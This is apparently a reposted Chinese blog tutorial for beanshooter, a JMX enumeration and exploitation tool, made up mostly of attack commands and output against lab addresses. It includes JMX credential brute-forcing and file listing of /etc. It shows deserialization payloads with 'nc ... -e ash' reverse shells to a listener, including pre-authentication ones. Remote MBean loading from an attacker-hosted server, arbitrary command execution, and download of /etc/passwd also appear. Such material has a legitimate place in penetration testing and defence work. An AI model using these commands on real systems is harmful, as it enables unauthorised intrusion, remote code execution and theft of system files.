基本介绍
beanshooter是一个JMX枚举和攻击工具,有助于识别JMX端点上的常见漏洞并提供了丰富的漏洞利用载荷和利用方式
工具编译
我们也可以通过beanshooter来枚举并注册EvilBean到JMXServer端,首先我们需要去下载beanshooter工具到本地,随后下到本地并进行打包
cd beanshooter
mvn package
基本使用
基本操作是可以在JMX服务上执行的通用操作,这些操作通常不以特定的MBean为目标或者以没有beanshooter内置支持的MBean为目标
帮助信息
java -jar beanshooter.jar -h
信息收集
info操作可用于获取可用的属性信息:
(1) 未授权模式:
java -jar beanshooter.jar info 172.17.0.2 9010
(2) 授权认证模式
java -jar beanshooter.jar info 172.17.0.2 1090 --username admin --password admin
在没有附加参数的情况下调用时将打印所有可用MBeans的方法和属性信息,在指定附加ObjectName时仅打印指定MBean的方法和属性信息
java -jar beanshooter.jar info 172.17.0.2 9010 java.lang:type=Memory
属性变更
attr模式下可以获取并显示指定属性的值:
java -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose
如果我们传入其他附加的参数值,那么beanshooter会去尝试设置相应的属性,对于类型不同于字符串的属性则需要使用"-type"选项指定属性类型,例如:
java -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
java -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose
爆破操作
我们可以通过brute模块来对JMX服务进行暴力猜解攻击:
(1) 默认模式
java -jar beanshooter.jar brute 172.17.0.2 1090
(2) 字典模式
用户可以按需指定用于进行暴力枚举的字典进行爆破尝试攻击,例如:
枚举操作
enum操作用于枚举JMX的配置信息,它总是会去检查JMX端点是否需要"身份验证"以及是否"允许预先身份验证的任意反序列化":
java -jar beanshooter.jar enum 172.17.0.2 1090
如果当不需要身份验证或者当指定了有效的凭据时,enum操作还会尝试从JMX端点枚举一些进一步的信息,包括非默认MBeans的列表,例如:在Apache tomcat服务器上注册的用户帐户
java -jar beanshooter.jar enum 172.17.0.2 9010
在受SASL保护的端点上调用enum操作时,beanshooter将试图枚举服务器配置的SASL配置文件,这仅在一定程度上存在可能并且无法枚举服务器的TLS配置,如果beanshooter识别SASL配置文件不起作用,则应该总是在使用/不使用-ssl选项的情况下重试
java -jar beanshooter.jar enum 172.17.0.2 4447 --jmxmp
列举操作
list操作打印远程JMX服务上所有已注册MBeans的列表
java -jar beanshooter.jar list 172.17.0.2 9010
模型操作
model action实现了Markus Wulftange提出的一种技术,允许使用者调用Java的任意公共类和静态方法,此外还可以在用户创建的对象实例上调用公共对象方法,唯一的要求是所使用的方法参数和所提供的对象实例(对于非静态方法)是可序列化的,下面介绍了一个使用示例,其中File对象作为对象实例提供并对其调用String[] list()操作:
java -jar beanshooter.jar model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
setManagedResource方法也是可用的,它可以用于更改要操作的对象实例:
java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
apk
shadow
crontabs
sysctl.conf
nsswitch.conf
profile.d
group
services
protocols
network
opt
logrotate.d
issue
passwd
init.d
udhcpd.conf
alpine-release
motd
hosts
sysctl.d
fstab
inittab
ssl
periodic
ssl1.1
os-release
modules
securetty
profile
modprobe.d
hostname
conf.d
modules-load.d
mtab
shells
secfixes.d
resolv.conf
root@RedTeam:~#
反序列化
serial操作可用于在JMX端点上执行反序列化攻击,默认情况下该操作会尝试验证后反序列化攻击,要做到这一点您需要将JMX服务定位为允许未经身份验证的访问或者您需要有效的凭据
Step 1:开启监听
nc -lnvp 1234
Step 2:发起反序列化请求,如果出现下面的错误提示则说明是未配置yso.jar的路径
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 1234 -e ash" --username admin --password admin
随后正常执行后可以成功反弹shell回来:
JMX服务也容易受到预先验证的反序列化攻击,要滥用这一点,您可以使用-preauth开关
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
备注:针对JMXMP端点预先验证的反序列化通常是可能的,不幸的是在枚举操作中没有办法正确地枚举它,如果您遇到一个JMXMP端点,您应该试一试
MBeans
MBean操作与针对JMX端点所暴露的通用功能的基本操作相比则是针对特定的MBean,Beanshooter对于每个支持的MBean都提供了另一个子解析器,其中包含相应MBean的可用操作和选项,以下列表展示了mlet MBean及其关联子解析器的示例:
java -jar beanshooter.jar mlet -h
Generic
Generic MBean操作反映了基本操作的功能,但不需要指定ObjectName
攻击操作
attr操作与基本操作中的attr操作相同,然而不再需要指定ObjectName,因为它已包含在所指定的MBean中
java -jar beanshooter.jar tomcat attr 172.17.0.2 1090 users
部署操作
deploy操作基本上与上面的deploy操作相同,然而由于ClassName、ObjectName和实现的JAR文件都已与指定的MBean关联,因此您只需在此操作中指定--stager-url选项(假设内置的jar文件可用):
java -jar beanshooter.jar tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
导出操作
在有时候我们会发现无法通过beanshooter的stager服务器提供MBean实现,常见的情况之一是向本地机器的出站连接被阻止,在这种情况下我们可能希望从其他位置加载MBean,例如:在具有写入权限的内部网络中的SMB服务,export操作导出实现指定MBean的jar文件以及加载MBean所需的相应MLet HTML文档,假设我们从监听在10.10.10.5的SMB服务提供TonkaBean,那么可以使用以下命令:
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/
常用信息
info操作列出指定MBean的方法和属性信息:
java -jar beanshooter.jar tomcat info 172.17.0.2 1090
常规调用
invoke操作可用于在指定的MBean上调用任意方法:
java -jar beanshooter.jar tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
选项信息
stats操作列出指定MBean的一些基本信息,这些信息是beanshooter本地存储的与相应MBean相关的数据,无需与服务器进行交互,Jar文件信息指示相应MBean的实现是否内置在beanshooter中,如果未使用--jar-file选项覆盖,则在部署过程中将使用该jar文件,目前TonkaBean是唯一一个具有可用Jar文件的MBean
java -jar beanshooter.jar tonka stats
状态查询
status操作检查相应的MBean是否已在JMX服务上可用
java -jar beanshooter.jar tonka status 172.17.0.2 9010
卸载操作
undeploy操作从远程JMX服务中移除指定的MBean:
java -jar beanshooter.jar tonka undeploy 172.17.0.2 9010
MLet
MLetMBean是一个众所周知的MBean,它可以用于通过网络加载额外的MBean,它已经被beanshooter的部署操作隐式使用,同时也可以通过mlet操作手动调用
MLet Load
目前唯一实现的MLet方法是load操作,可用于从用户指定的URL加载MBean类:
java -jar beanshooter.jar mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
上述示例演示了如何使用mlet操作手动加载TonkaBean,如果您想要加载自定义MBean,则需要指定关键字custom而不是tonka,并提供--class-name、--object-name和--jar-file选项:
java -jar beanshooter.jar mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name Evil --object-name Evil:name=Evil,id=1 --jar-file /root/jmx/JMXPayload.jar
TONKA
TonkaBean是由beanshooter项目实现的自定义MBean,允许在JMX服务器上访问文件系统和执行命令,可以通过使用tonka操作来访问其所需的功能
Tonka Exec
exec操作可用于在RMI服务上执行单个命令:
java -jar beanshooter.jar tonka exec 172.17.0.2 9010 id
exec操作的最后一个参数预期为字符串,当未使用"--shell"选项时,该字符串会在空格处拆分(考虑引号)并作为数组传递给服务器端的ProcessBuilder类,如果使用了"--shell"则指定的shell字符串会在空格处拆分,生成的数组与指定的参数字符串连接后再传递给ProcessBuilder类,这允许以类似shell的方式执行并正确解释shell特殊字符:
java -jar beanshooter.jar tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
备注:为了方便起见,常见的shell会自动附加所需的命令字符串参数,因此"--shell ash"会自动转换为--shell 'ash -c'
Tonka Execarray
execarray操作与exec动作非常相似,但它不是期望一个字符串作为参数并在空格处分割该字符串以构建命令数组,而是允许指定多个参数,这些参数将直接作为ProcessBuilder类的命令数组使用:
java -jar beanshooter.jar tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
Tonka Shell
shell操作会启动一个命令行shell,您可以在其中指定将在JMX服务器上执行的命令,该shell并不是完全交互式的,只是对Java的Runtime.exec方法的一个封装,然而它实现了对环境变量和当前工作目录的基本支持:
java -jar beanshooter.jar tonka shell 172.17.0.2 9010
上面的示例演示了如何使用!env关键字设置环境变量,除了这个关键字,还有其他几个可用的关键字:
Tonka Upload
upload操作可用于将文件上传到JMX服务器
java -jar beanshooter.jar tonka upload 172.17.0.2 9010 file.dat /tmp
Tonka Download
download操作可用于从JMX服务器下载文件:
java -jar beanshooter.jar tonka download 172.17.0.2 9010 /etc/passwd
下载地址
https://github.com/qtc-de/beanshooter
原文始发于微信公众号(七芒星实验室):【神兵利器】JAVA JMX漏洞利用工具
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论